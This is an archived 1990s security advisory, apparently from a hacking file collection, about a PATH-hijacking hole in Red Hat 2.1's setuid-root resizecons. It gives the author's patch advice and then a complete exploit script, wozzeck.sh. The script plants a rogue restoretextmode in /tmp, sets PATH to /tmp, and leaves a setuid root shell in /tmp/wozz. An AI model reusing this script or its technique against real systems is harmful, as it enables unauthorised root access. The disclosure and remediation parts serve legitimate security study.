home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / resizeExp.txt < prev    next >
Text File  |  1998-07-17  |  3KB  |  89 lines

  1.    There is a security hole in Red Hat 2.1, which installs the program
  2. /usr/bin/resizecons suid root.  The resizecons program allows a user
  3. to change the videmode of the console.  During this process, it runs
  4. the program restoretextmode without an absolute pathname, assuming the
  5. correct version will be found in the path, while running with root
  6. privileges.  It then executes setfont in the same manner.  By setting
  7. the path to find a rogue restoretextmode, a user can execute an arbitrary
  8. program as root.
  9.    As a more amusing aside, the file /tmp/selection.pid is read and the
  10. pid contained within is sent a SIGWINCH, allowing a user on the system
  11. to force a redraw of the screen to an arbitrary process (that handles 
  12. SIGWINCH calls) on the machine. 
  13.    If /usr/bin/resizecons needs to be run by users other than root at the
  14. console, provisions need to be made in the code to execute the outside
  15. utilities with absolute pathnames, and to check access rights on files
  16. before opening.
  17.  
  18.                    Program: /usr/bin/resizecons
  19. Affected Operating Systems: Red Hat 2.1 linux distribution
  20.               Requirements: account on system
  21.            Temporary Patch: chmod -s /usr/bin/resizecons
  22.        Security Compromise: root
  23.                     Author: Dave M. (davem@cmu.edu)
  24.                   Synopsis: resizecons runs restoretextmode without an
  25.                             absolute pathname while executing as root,
  26.                             allowing a user to substitute the real
  27.                             program with arbitrary commands.
  28.  
  29. Exploit:
  30.  
  31. wozzeck.sh:
  32. #!/bin/sh
  33. #
  34. # wozzeck.sh
  35. # exploits a security hole in /usr/bin/resizecons 
  36. # to create a suid root shell in /tmp/wozz on a 
  37. # linux Red Hat 2.1 system.
  38. #
  39. # by Dave M. (davem@cmu.edu)
  40. echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
  41. echo ================ Checking system vulnerability
  42. if test -u /usr/bin/resizecons
  43. then
  44. echo ++++++++++++++++ System appears vulnerable.
  45. cd /tmp
  46. cat << _EOF_ > /tmp/313x37
  47. This exploit is dedicated to 
  48. Wozz.  Use it with care.
  49. _EOF_
  50. cat << _EOF_ > /tmp/restoretextmode
  51. #!/bin/sh
  52. /bin/cp /bin/sh /tmp/wozz
  53. /bin/chmod 4777 /tmp/wozz
  54. _EOF_
  55. /bin/chmod +x /tmp/restoretextmode
  56. PATH=/tmp
  57. echo ================ Executing resizecons
  58. /usr/bin/resizecons 313x37
  59. /bin/rm /tmp/restoretextmode
  60. /bin/rm /tmp/313x37
  61. if test -u /tmp/wozz
  62. then
  63. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
  64. else
  65. echo ---------------- Exploit failed
  66. fi
  67. else
  68. echo ---------------- This machine does not appear to be vulnerable.
  69. fi
  70.  
  71.  
  72.  
  73.  
  74.        /-------------\
  75.        |David Meltzer| 
  76.        |davem@cmu.edu|    
  77.  /--------------------------\
  78.  |School of Computer Science|
  79.  |Carnegie Mellon University|
  80.  \--------------------------/
  81.  
  82.  
  83. -- 
  84. infiNity .oOo.  Member of the infamous Guild |  spreading information 
  85. route .oOo.  Use strong Cryptography |  like it was going 
  86. daemon9 .oOo.  Finger for info |  out of style
  87.  
  88.